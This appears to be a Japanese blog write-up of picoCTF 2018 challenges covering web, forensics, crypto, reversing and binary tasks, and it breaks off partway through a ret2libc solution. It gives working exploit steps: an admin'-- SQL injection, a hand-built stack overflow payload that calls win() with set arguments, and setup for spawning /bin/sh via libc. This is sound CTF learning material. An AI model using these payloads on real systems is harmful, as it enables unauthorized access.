picoCTF 2018 の write-up 250~275点問題編。200点問題まではこちら。
問題も複雑になってくることもあり、英語の問題の読解力が問われる…。そして、200pt問題にもましてサクッと解ける問題と時間がかかる問題が別れてきた印象。
でもやっぱりBinary/Reversing問題が点数に対してめちゃむずい気がするのは、私が全然触っていなかった領域だから?解けている人も少ないような。
今回、最後の方の Binary 系問題で初めて、 python の pwntool 使ってみました。超便利!
そして相変わらず、radare2も超便利!!アセンブラを眺めて「おっ、ここの挙動ループ処理っぽいな!」なんてやってたのが、可視化されて出力していただける…。控えめに言って神。
275ptまでを終えると、スコアは10110pt(bin!)。1000番台になりました。まだまだ上はたくさんいますねぇ。
[Web] Buttons (250pt)
There is a website running at http://2018shell.picoctf.com:65107 (link). Try to see if you can push their buttons.
指定されたURLに飛ぶと、こんなページが。
ボタンがあるなら押して見る。とこんなページに飛ぶ。
今度はリンク。今度は押すとこんなページに飛んだ。
動画が流れている。テキストは
Button2: ACCESS DENIED FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null
だそうです。
Button1とButton2のソースを比較してみると、Button1のボタン部分は
<form action="button1.php" method="POST"> <input type="submit" value="PUSH ME! I am your only hope!"/> </form>
Button2は、FORM DISABLED. のところが実はformになっている。
<form action="button2.php" method="POST"> FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null </form>
が、input typeの指定がないためPOSTがブラウザからではできず、ボタンとして機能していないように見える。
問題文に、"Try to see if you can push their buttons" とあるので、POST method を呼んであげて、Button2を機能させれば良いのかな。
今回POSTに詰めるデータは不要なので、シンプルですがこんな感じ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests url = "http://2018shell.picoctf.com:65107/button2.php" r = requests.post(url) print(r.text)
実行結果
$ python solve.py Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}
[Forensics] Ext Super Magic (250pt)
We salvaged a ruined Ext SuperMagic II-class mech recently and pulled the filesystem out of the black box. It looks a bit corrupted, but maybe there's something interesting in there. You can also find it in /problems/ext-super-magic_0_621bc2a94057a3e5a0aa0816da3fe8fb on the shell server.
破損したimage(filesystem)を救済せよ、という問題っぽい。DLしたfilesystemはこちら
$ file ext-super-magic.img ext-super-magic.img: data
ただのdataとのこと。拡張子的に .img だし、問題文的にも image なんだろうけど、多分ヘッダ部分が壊れていて識別できない様子。 なんとなくforemostで分解してみると、こんな感じでjpg画像がずらーーーっと50枚。
それぞれのイメージに時々、破損しているが Your flag is in another file
と書いてある。
が、それ以上の情報が得られなかったので Hint を見てみる。
- Are there any tools for diagnosing corrupted filesystems? What do they say if you run them on this one?
- How does a linux machine know what type of file a file is?
- You might find this doc helpful.
- Be careful with endianness when making edits.
- Once you've fixed the corruption, you can use /sbin/debugfs to pull the flag file out.
使ったことのないツールやドキュメントへのリンクが沢山。
- 1つ目で紹介されている Fsck というツールは、ファイルシステムの不整合をチェックし、修正してくれるツールらしい。
ちなみに、macにも予め入っている。mac版fsckのman pageはこちら。 - 2つ目で紹介されているサイトは、有志によるマジックナンバーのテーブルリスト。これはずっと使えそうなのでメモっておこう!
- 3つ目で紹介されているドキュメントは、ext2の説明。長かったので再検索して日本語のwikiにたどり着きました。ext2 - Wikipedia
- 4つ目は、おそらくシグネチャを修復する際にendianに気をつけなさいよ、という話。
1つ目と3つ目のヒントから、ext2という形式のimageが破損しているっぽくって、fsckというツールで何やらチェックできるっぽい、と予測。fsck ext2
で検索してみると、こんなman pageが。
fsck.ext2(8): check ext2/ext3/ext4 file system - Linux man page
fsck.ext2
を使ってチェックしてみます。
# fsck.ext2 ./ext-super-magic.img e2fsck 1.44.5 (15-Dec-2018) ext2fs_open2: Bad magic number in super-block fsck.ext2: Superblock invalid, trying backup blocks... fsck.ext2: Bad magic number in super-block while trying to open ./ext-super-magic.img The superblock could not be read or does not describe a valid ext2/ext3/ext4 filesystem. If the device is valid and it really contains an ext2/ext3/ext4 filesystem (and not swap or ufs or something else), then the superblock is corrupt, and you might try running e2fsck with an alternate superblock: e2fsck -b 8193 <device> or e2fsck -b 32768 <device>
ふむふむ。Bad magic number in super-block
とのことです。なにやらこれやってみたら?と言われているのでやってみます。
# e2fsck -b 8193 ./ext-super-magic.img e2fsck 1.44.5 (15-Dec-2018) e2fsck: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img Could this be a zero-length partition? # e2fsck -b 32768 ./ext-super-magic.img e2fsck 1.44.5 (15-Dec-2018) e2fsck: Attempt to read block from filesystem resulted in short read while trying to open ./ext-super-magic.img Could this be a zero-length partition?
うーん、失敗したみたい。壊れているというよりは、0埋めになってるから修復もクソもないぜって感じなんだろうか。
FILE SIGNATURE TABLE のページでは、今回のファイル形式のものが見つからず。
The Second Extended File System こっちの方に、ext2のmagic numberとsuper-blocksについての説明が。
16bit value identifying the file system as Ext2. The value is currently fixed to EXT2_SUPER_MAGIC of value 0xEF53. The superblock is always located at byte offset 1024 from the beginning of the file, block device or partition formatted with Ext2 and later variants (Ext3, Ext4). Offset (bytes) Size (bytes) Description 56 2 s_magic
ということで、super-blockの、offset 56 に magic 0xef53
が来るはずらしい。little endianなので 53 ef
かな。更に、super-block自体のoffsetは1024とのこと。
バイナリの書き換えは、使い慣れているMacのバイナリ編集アプリ HEX
を使用。
対象のoffsetは 1024 + 56
= 1080 -> 0x438
ここを 53 ef
に書き換えて保存。
保存したあとのファイルを見てみると
$ file fixed_ext-super-magic.img fixed_ext-super-magic.img: Linux rev 1.0 ext2 filesystem data, UUID=9a8b8c68-1f83-4b78-8a67-bd9843ea3e13 (large files)
おお、ちゃんとimageとして認識されました。
ここから、ヒントの最後にあった debugfs
を使って flag file があるらしいので探してみます。
# debugfs fixed_ext-super-magic.img debugfs 1.44.5 (15-Dec-2018) debugfs: ls ~~中略~~ 436 (24) filler-471.jpg 439 (16) flag.jpg 506 (24) filler-347.jpg 512 (480) filler-302.jpg 55 (24) filler-147.jpg 128 (24) filler-182.jpg 170 (24) filler-473.jpg ~~略~~
ということで、よーく見ないと気づきませんでしたが、flag.jpg
というのがいらっしゃいます!このファイルをdumpして書き出してあげます。
debugfs: dump flag.jpg flag.jpg debugfs: q # ls ext-super-magic.img fixed_ext-super-magic.img flag.jpg
flag.jpgが出力されました!こんなのでした。小さくflagが書いてあります٩(๑❛ᴗ❛๑)۶
新しいツールやサイトをたくさん触れてよかった!今までは割とその場限りのググったりバイナリいじったりで終わっていたけど、これくらいしっかりヒントが有ると、道を外れず王道の解き方(多分)ができて良い!!
[Forensics] Lying Out (250pt)
Some odd traffic has been detected on the network, can you identify it? More info here. Connect with nc 2018shell.picoctf.com 2245 to help us answer some questions.
てっきり traffic のリンクからパケットキャプチャがDLできると思ってたら、以下のpngファイルだった。
グラフからは、3回ほどトラフィック(IP数)のピークがあったことがわかる。正直それくらいしかわからん。
more info here, とのことなので、そこから下記の info.txt をDLできる。
You've been given a dataset of 4800 internet traffic logs for your organization's website. This dataset covers the number of unique IP addresses sending requests to the site in 15-minute "buckets", across a 24-hour day. The attached plot will help you see the daily pattern of traffic. You should see 3 spikes of traffic: one in the morning, one at midday, and one in the evening.
Your organization needs your help to figure out whether some recent activity indicates unusual behavior. It looks like some logs have higher-than-usual traffic in their time bucket: many more unique IP addresses are trying to access the site than usual. This might be evidence that someone is trying to do something shady on your site.
ふむ。
次に指定されたホストにnc
してみる。
$ nc 2018shell.picoctf.com 2245 You'll need to consult the file `traffic.png` to answer the following questions. Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7. log_ID time num_IPs 0 0 00:30:00 10436 1 1 00:45:00 10318 2 2 06:45:00 11569 3 3 09:00:00 9637 4 4 10:00:00 11663 5 5 10:30:00 9751 6 6 12:00:00 15219 7 7 12:00:00 13390 8 8 14:45:00 9694 9 9 15:30:00 11550 10 10 17:15:00 10089 11 11 21:00:00 9722 12 12 21:30:00 10283 13 13 22:45:00 11591
ほうほう。ここまで読んで初めて問題がわかるんだ。traffic.pngは通常時のトラフィックをプロットしています。これと比較して、サイトが提示したトラフィックからイレギュラーなもの(LogID)を答えてね、という話らしい。
割と時間にゆとりがあるみたいだったので、目視で解いた。グラフから割と外れているリクエスト数のある番号を答えていく。
下記は上の通信の続き。2 4 9 13
をinputで入れた。
2 4 9 13 Correct! Great job. You've earned the flag: picoCTF{w4y_0ut_04c41b59}
[Crypto] Safe RSA (250pt)
Now that you know about RSA can you help us decrypt this ciphertext? We don't have the decryption key but something about those values looks funky..
DLした ciphertext はこちら。
N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 e: 3 ciphertext (c): 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125
eが非常に小さいと、Low Public-Exponent Attack の手法が使えます。前もお世話になったこちらを参考に。
Low Public-Exponent Attack - akashisnの日記
暗号文cが以下で与えられており、 c ≡ me mod n mについて以下の条件を満たす時、 m < nのe乗根 mod nの影響を受けないので、 m = cのe乗根 cのe乗根を取るとmが求まる。
#!/usr/bin/env python3 import gmpy2 e = 3 c = 2205316413931134031046440767620541984801091216351222789180593875373829950860542792110364325728088504479780803714561464250589795961097670884274813261496112882580892020487261058118157619586156815531561455215290361274334977137261636930849125 m, result = gmpy2.iroot(c,e) if result: flag = bytes.fromhex(hex(m)[2:]).decode('ascii') print(flag)
実行結果
$ python solve.py picoCTF{e_w4y_t00_sm411_9f5d2464}
[Web] The Vault (250pt)
There is a website running at http://2018shell.picoctf.com:49030 (link). Try to see if you can login!
ログインしてみなっ!て問題かな。
指定されたurlに飛んでみると、こんなページが表示されました。
おや、下の方に login.php のソースコードへのリンクが。
<?php ini_set('error_reporting', E_ALL); ini_set('display_errors', 'On'); include "config.php"; $con = new SQLite3($database_file); $username = $_POST["username"]; $password = $_POST["password"]; $debug = $_POST["debug"]; $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'"; if (intval($debug)) { echo "<pre>"; echo "username: ", htmlspecialchars($username), "\n"; echo "password: ", htmlspecialchars($password), "\n"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo "</pre>"; } //validation check $pattern ="/.*['\"].*OR.*/i"; $user_match = preg_match($pattern, $username); $password_match = preg_match($pattern, $username); if($user_match + $password_match > 0) { echo "<h1>SQLi detected.</h1>"; } else { $result = $con->query($query); $row = $result->fetchArray(); if ($row) { echo "<h1>Logged in!</h1>"; echo "<p>Your flag is: $FLAG</p>"; } else { echo "<h1>Login failed.</h1>"; } } ?>
注目すべきは $query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";
ですね。SQL injectionの脆弱性がありそうです。
Usernameに admin'--
を入れたところ、Loginに成功、Flagが取れました!
[Forensics] What's My Name? (250pt)
Say my name, say my name.
リンクから下記ファイルをDL。今度こそパケットキャプチャファイルが落ちてきました。wiresharkで開いてみます。
...うわー6,000行あるよー。
ということで、ちょっとずるいですがパケット解析はせずに下記コマンドを。
$ strings myname.pcap | grep pico 76picoCTF{w4lt3r_wh1t3_33ddc9bcc77f22a319515c59736f64a2}
ちなみに、wireshark上でも、DNS
プロトコルの通信でフィルタすると、L55 がHitし、そこにFlagがありました!
[General] absolutely relative (250pt)
In a filesystem, everything is relative ¯_(ツ)_/¯. Can you find a way to get a flag from this program? You can find it in /problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc on the shell server. Source.
DLしたファイルを確認。実行ファイルはこちら。
$ file absolutely-relative absolutely-relative: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=684fd61c75d0d4b0f19981366982f09247f797e8, not stripped
ソースはこちら。
#include <stdio.h> #include <string.h> #define yes_len 3 const char *yes = "yes"; int main() { char flag[99]; char permission[10]; int i; FILE * file; file = fopen("/problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc/flag.txt" , "r"); if (file) { while (fscanf(file, "%s", flag)!=EOF) fclose(file); } file = fopen( "./permission.txt" , "r"); if (file) { for (i = 0; i < 5; i++){ fscanf(file, "%s", permission); } permission[5] = '\0'; fclose(file); } if (!strncmp(permission, yes, yes_len)) { printf("You have the write permissions.\n%s\n", flag); } else { printf("You do not have sufficient permissions to view the flag.\n"); } return 0; }
flag.txtがpicoCTFのshell上にあるので、picoCTFのshellで実施します。
$ ./absolutely-relative You do not have sufficient permissions to view the flag.
このままでは実行できないみたいです。
プログラムを読んでみます。
- flag.txtの読み込み ->
flag
- ./permission.txt の読み込み ->
permission[5]
permission
とyes="yes"
との比較- 比較の結果正しければ
flag
を表示
どうやら permission.txt
というのを実行ディレクトリに置く必要がありそう。
しかしpicoCTFのshell serverの実行ファイルのあるdirectoryには、あたらしくfileを作成する権限がありません。
ソースを良く見てみる&タイトルを考えると、flag.txt が絶対パスなのに対して、permission.txtが相対パスなのが鍵。
shell server上のどこでこのプログラムを動かしても、flag.txtは絶対パスで指定されているので、正しいところから読んでくれそうです。permission.txtを配置できる場所で実行させることで無事解決しそう。
$ cd /tmp $ mkdir tmpkusuwada $ cd tmpkusuwada $ touch permission.txt
お!/tmp
ファイル配下に、permission.txtを作成できました!
$ echo "yes" > permission.txt $ /problems/absolutely-relative_3_c1a43555f1585c98aab8d5d2c7f0f9cc/absolut ely-relative You have the write permissions. picoCTF{3v3r1ng_1$_r3l3t1v3_6193e4db}
[Reversing] assembly-2 (250pt)
What does asm2(0x8,0x21) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-2_1_c1900e7d33989b0191c51ef927b24f37.
与えられたソースはこちら。
.intel_syntax noprefix .bits 32 .global asm2 asm2: push ebp mov ebp,esp sub esp,0x10 mov eax,DWORD PTR [ebp+0xc] mov DWORD PTR [ebp-0x4],eax mov eax,DWORD PTR [ebp+0x8] mov DWORD PTR [ebp-0x8],eax jmp part_b part_a: add DWORD PTR [ebp-0x4],0x1 add DWORD PTR [ebp+0x8],0xa9 part_b: cmp DWORD PTR [ebp+0x8],0x3923 jle part_a mov eax,DWORD PTR [ebp-0x4] mov esp,ebp pop ebp ret
あれ、こっちのほうが assembly-1
より短くない?
(0x8,0x21)
の入力で何が出力されるか?という問題。
.intel_syntax noprefix .bits 32 .global asm2 asm2: push ebp # base pointer を stackの一番上に mov ebp,esp # stack pointer を ebp に追従 sub esp,0x10 # stack pointer を 0x10 ひく mov eax,DWORD PTR [ebp+0xc] # eaxに 0x21 を代入 mov DWORD PTR [ebp-0x4],eax # ebp-0x4 に eax (0x21) を代入 mov eax,DWORD PTR [ebp+0x8] # eax に 0x8 を代入 mov DWORD PTR [ebp-0x8],eax # ebp-0x8 に eax (0x8) を代入 jmp part_b # part_b へ飛ぶ part_a: add DWORD PTR [ebp-0x4],0x1 # ebp-0x4(0x21) に 0x1 を足す -> ebp-0x4 = 0x22 add DWORD PTR [ebp+0x8],0xa9 # ebp+0x8(0x8) に 0xa9 を足す -> 0xb1 ※1 part_b: cmp DWORD PTR [ebp+0x8],0x3923 # 0x8 と 0x3923 を比較 jle part_a # 0x8のほうが小さいので、part_aへ飛ぶ mov eax,DWORD PTR [ebp-0x4] mov esp,ebp pop ebp ret
※1 のあと、part_b に戻り、 cmp DWORD PTR [ebp+0x8],0x3923
が true
になるまで繰り返します。
0x8
に 0xa9
を足していき、 0x3923
になるまで続けると、ebp-0x4
は 0x21
に 0x1
を足していき、最終的に 0x21
+0x57
= 0x78
になります。
この値がretになるので、答えは0x78
。
[Binary] buffer overflow 2 (250pt)
Alright, this time you'll need to control some arguments. Can you get the flag from this program? You can find it in /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 on the shell server. Source.
実行ファイルはこちら。
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f2f6cce698b62f5109de9955c0ea0ab832ea967c, not stripped
ソースはこちら。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 100 #define FLAGSIZE 64 void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) return; if (arg2 != 0xDEADC0DE) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; }
今回もプログラム中から flag.txt を読み出して表示するので、picoCTFのshell server上で実行する。
$ cd /problems/buffer-overflow-2_4_ca1cb0da49310dd45c811348a235d257 $ ls flag.txt vuln vuln.c
よしよし。ちゃんとflag.txtある。
mainからソースを読んでみます。mainの中では、 vuln()
関数を呼び出し、vuln関数の中ではbuffer(size=100)
にユーザー入力を格納。bufferを出力しておしまい。
肝心のflagを出力する関数 win
はcallされないようです。
更に win() 関数を呼ばれた場合、arg1
, arg2
、2つの引数を渡して上げる必要があるようです。しかもこの引数がそれぞれ 0xDEADBEEF
, 0xDEADC0DE
に等しいときに限り、flagが表示されるようです。
今回のミッションは、vuln()関数のinput入出力時にBufferOverflowさせ、win()関数を正しい引数付きで呼び出す、です。
$ objdump -d vuln | grep win 080485cb <win>: 80485ed: 75 1a jne 8048609 <win+0x3e> 8048624: 75 1a jne 8048640 <win+0x75> 804862d: 75 14 jne 8048643 <win+0x78> 804863e: eb 04 jmp 8048644 <win+0x79> 8048641: eb 01 jmp 8048644 <win+0x79>
win()関数のアドレスは 0x080485cb
。
vuln()関数の内訳はこんな感じ。
08048646 <vuln>: 8048646: 55 push %ebp # base pointer を stackの一番上に 8048647: 89 e5 mov %esp,%ebp # stack pointer を ebpに追従 8048649: 83 ec 78 sub $0x78,%esp # esp を 0x78(=120d) 上に 804864c: 83 ec 0c sub $0xc,%esp # esp を更に 0xc(=12d) 上に 804864f: 8d 45 94 lea -0x6c(%ebp),%eax # ebp-0x6c(=108d) にeaxを格納 8048652: 50 push %eax # eax を stackの一番上に 8048653: e8 d8 fd ff ff call 8048430 <gets@plt> # gets関数をcall 8048658: 83 c4 10 add $0x10,%esp # esp を 0x10(=16d) 下に 804865b: 83 ec 0c sub $0xc,%esp # esp を 0xc(=12d) 上に 804865e: 8d 45 94 lea -0x6c(%ebp),%eax # ebp-0x6c(=108d) にeaxを格納 8048661: 50 push %eax # eax を stackの一番上に 8048662: e8 f9 fd ff ff call 8048460 <puts@plt> # puts関数をcall 8048667: 83 c4 10 add $0x10,%esp # espを 0x10(=12d) 下に 804866a: 90 nop 804866b: c9 leave 804866c: c3 ret
これらの情報から、適当な文字列(a)で (108 + 4 = 112) を埋めてやります。
このあと、win()関数のアドレスを、リトルエンディアンで入れます。(\xcb\x85\x04\x08)
更に、win()関数の return address の4バイトを適当な文字列(a)で埋めます。
そこから同様に引数をリトルエンディアンで詰めます。(\xef\xbe\xad\xde, \xde\xc0\xad\xde)
今回は手作業で作りました(ノ≧ڡ≦)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\x08aaaa\xef\xbe\xad\xde\xde\xc0\xad\xde
この文字列を、buffer overflow 1
と同じ方法で送り込んでやります。
$ echo -e "aaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xcb\x85\x04\ x08aaaa\xef\xbe\xad\xde\xde\xc0\xad\xde" | ./vuln Please enter your string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ˅aaaaᆳ- picoCTF{addr3ss3s_ar3_3asy30723282}Segmentation fault (core dumped)
[Crypto] caesar cipher 2 (250pt)
Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_3_4a1aa2a4d0f79a1f8e9a29319250740a on the shell server.
シーザー暗号の一種のつもり、らしい。
$ cat ciphertext 4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA
落としてきた暗号文はこちら。やけに記号が多い…。ということは、記号も含めてなん文字かシフトさせる暗号っぽい。
どうやって辞書を作るかは、とりあえず記号やアルファベット・数字を組み合わせて作るのもありだけども、考える組み合わせが多すぎるなーとおもってヒントを見てみる。
You'll have figure out the correct alphabet that was used to encrypt the ciphertext from the ascii character set ASCII Table
おお、これは大ヒント!ASCII Tableから辞書を作れば良さそう!
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import string cipher = "4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA" all_strings = [] start_index = 32 # space end_index = 125 # } # create ascii table for i in range(end_index + 1 - start_index): print(chr(start_index + i)) all_strings.append(chr(start_index + i)) def ceaser(shift, c): return all_strings[(all_strings.index(c) + shift) % len(all_strings)] for shift in range(len(all_strings)): plain = "" for c in cipher: plain += ceaser(shift, c) print(plain)
どこからどこまでを辞書の範囲とするかは、実行結果を見てちょいと調節しました。
実行結果
$ python solve.py | grep pico picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}
[Binary] got-2-learn-libc (250pt)
This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1 on the shell server. Source.
なんか解けた人少なめだし、Binaryだし、最初からヒントも見る!
try returning to systems calls to leak information don't forget you can always return back to main()
DLできるファイルは、実行ファイルとcのソース。
$ file vuln vuln: ELF 32-bit LSB shared object Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4e901d4c8bdb0ea8cfd51522376bea63082a2734, not stripped
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */ void vuln(){ char buf[BUFSIZE]; puts("Enter a string:"); gets(buf); puts(buf); puts("Thanks! Exiting now..."); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Here are some useful addresses:\n"); printf("puts: %p\n", puts); printf("fflush %p\n", fflush); printf("read: %p\n", read); printf("write: %p\n", write); printf("useful_string: %p\n", useful_string); printf("\n"); vuln(); return 0; }
systemcallのアドレスをいくつか返すので、shellを取ってみなさい、という問題。
systemcallがらみだし、picoCTFのshell serverで実行してみます。指定されたディレクトリに行くと、flag.txtも落ちてました。systemcallを呼び出し、flag.txtを表示させる問題っぽい。
$ ./vuln Here are some useful addresses: puts: 0xf7645140 fflush 0xf7643330 read: 0xf76ba350 write: 0xf76ba3c0 useful_string: 0x56574030 Enter a string: aaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaa Thanks! Exiting now...
実行すると、いくつかsystemcallのアドレスっぽいものが出力され、その後自由に文字列を入力できるようです。文字列入力部分は vuln() 関数。BUFSIZEが148なので、これを超えるとBuffer Overflowする。
ちなみに、実行するたびに各関数のアドレスの値が変わります。
最後の useful_strings
だけ systemcall 関数とは関係ないですが、これは vuln.c
の中で定義している値。ここに "/bin/sh"
の文字列が格納されており、ソースコードには "sellを取るのに使えるかも?" というヒントが書いてあります。
このあたりのワードで検索してみると、下記の記事が引っかかりました。ksnctf の @kusano_k さんの katagaitai CTF勉強会 の記事でした。
まさにこれの問1ととても似ていそう。
アドレスが毎回変わっているのは、ASLRという仕組みのせいらしい。
しかし、この仕組でlibcの位置が変わっても、各関数と system
の相対位置は変わらないので、各関数のアドレスから system
のアドレスを計算できるらしい。
libc address search
とかで検索すると、下記サイトが。ここでlibcのバージョンを検索したり、各関数のアドレスを調べられる。ちなみに、アドレスは下三桁を入れるらしい。
検索結果
ということで、fflush と system のアドレスの差は 0x229f0
。
あとは、BufferOverflowでどこで何を書けばsystem関数を呼び出せるのか。
ちょっと長いですが、アセンブラ。今回もradare2を使いました。main関数とvuln関数。
[0x565b6803]> pdf ;-- main: / (fcn) sym.main 256 | sym.main (int argc, char **argv, char **envp); | ; var int local_ch @ ebp-0xc | ; var int local_8h @ ebp-0x8 | ; arg int arg_4h @ esp+0x4 | 0x565b6803 8d4c2404 lea ecx, dword [arg_4h] ; 4 | 0x565b6807 83e4f0 and esp, 0xfffffff0 | 0x565b680a ff71fc push dword [ecx - 4] | 0x565b680d 55 push ebp | 0x565b680e 89e5 mov ebp, esp | 0x565b6810 53 push ebx | 0x565b6811 51 push ecx | 0x565b6812 83ec10 sub esp, 0x10 | 0x565b6815 e856feffff call sym.__x86.get_pc_thunk.bx | 0x565b681a 81c3e6170000 add ebx, 0x17e6 | 0x565b6820 8b83f0ffffff mov eax, dword [ebx - 0x10] | 0x565b6826 8b00 mov eax, dword [eax] | 0x565b6828 6a00 push 0 | 0x565b682a 6a02 push 2 ; 2 | 0x565b682c 6a00 push 0 | 0x565b682e 50 push eax | 0x565b682f e8acfdffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size) | 0x565b6834 83c410 add esp, 0x10 | 0x565b6837 e884fdffff call sym.imp.getegid | 0x565b683c 8945f4 mov dword [local_ch], eax | 0x565b683f 83ec04 sub esp, 4 | 0x565b6842 ff75f4 push dword [local_ch] | 0x565b6845 ff75f4 push dword [local_ch] | 0x565b6848 ff75f4 push dword [local_ch] | 0x565b684b e8b0fdffff call sym.imp.setresgid | 0x565b6850 83c410 add esp, 0x10 | 0x565b6853 83ec0c sub esp, 0xc | 0x565b6856 8d83b8e9ffff lea eax, dword [ebx - 0x1648] | 0x565b685c 50 push eax | 0x565b685d e8b6fdffff call fcn.565b6618 | 0x565b6862 83c410 add esp, 0x10 | 0x565b6865 83ec08 sub esp, 8 | 0x565b6868 8b83e4ffffff mov eax, dword [ebx - 0x1c] | 0x565b686e 50 push eax | 0x565b686f 8d83d9e9ffff lea eax, dword [ebx - 0x1627] | 0x565b6875 50 push eax | 0x565b6876 e825fdffff call sym.imp.printf ; int printf(const char *format) | 0x565b687b 83c410 add esp, 0x10 | 0x565b687e 83ec08 sub esp, 8 | 0x565b6881 8b83dcffffff mov eax, dword [ebx - 0x24] | 0x565b6887 50 push eax | 0x565b6888 8d83e3e9ffff lea eax, dword [ebx - 0x161d] | 0x565b688e 50 push eax | 0x565b688f e80cfdffff call sym.imp.printf ; int printf(const char *format) | 0x565b6894 83c410 add esp, 0x10 | 0x565b6897 83ec08 sub esp, 8 | 0x565b689a 8b83d4ffffff mov eax, dword [ebx - 0x2c] | 0x565b68a0 50 push eax | 0x565b68a1 8d83eee9ffff lea eax, dword [ebx - 0x1612] | 0x565b68a7 50 push eax | 0x565b68a8 e8f3fcffff call sym.imp.printf ; int printf(const char *format) | 0x565b68ad 83c410 add esp, 0x10 | 0x565b68b0 83ec08 sub esp, 8 | 0x565b68b3 8b83ecffffff mov eax, dword [ebx - 0x14] | 0x565b68b9 50 push eax | 0x565b68ba 8d83f8e9ffff lea eax, dword [ebx - 0x1608] | 0x565b68c0 50 push eax | 0x565b68c1 e8dafcffff call sym.imp.printf ; int printf(const char *format) | 0x565b68c6 83c410 add esp, 0x10 | 0x565b68c9 83ec08 sub esp, 8 | 0x565b68cc 8d8330000000 lea eax, dword [ebx + 0x30] ; '0' ; 48 | 0x565b68d2 50 push eax | 0x565b68d3 8d8303eaffff lea eax, dword [ebx - 0x15fd] | 0x565b68d9 50 push eax | 0x565b68da e8c1fcffff call sym.imp.printf ; int printf(const char *format) | 0x565b68df 83c410 add esp, 0x10 | 0x565b68e2 83ec0c sub esp, 0xc | 0x565b68e5 6a0a push 0xa ; 10 | 0x565b68e7 e804fdffff call sym.imp.putchar ; int putchar(int c) | 0x565b68ec 83c410 add esp, 0x10 | 0x565b68ef e8acfeffff call sym.vuln | 0x565b68f4 b800000000 mov eax, 0 | 0x565b68f9 8d65f8 lea esp, dword [local_8h] | 0x565b68fc 59 pop ecx | 0x565b68fd 5b pop ebx | 0x565b68fe 5d pop ebp | 0x565b68ff 8d61fc lea esp, dword [ecx - 4] \ 0x565b6902 c3 ret [0x565b6803]> s sym.vuln [0x565b67a0]> pdf / (fcn) sym.vuln 99 | sym.vuln (); | ; var int local_9ch @ ebp-0x9c | ; var int local_4h @ ebp-0x4 | ; CALL XREF from sym.main (0x565b68ef) | 0x565b67a0 55 push ebp | 0x565b67a1 89e5 mov ebp, esp | 0x565b67a3 53 push ebx | 0x565b67a4 81eca4000000 sub esp, 0xa4 | 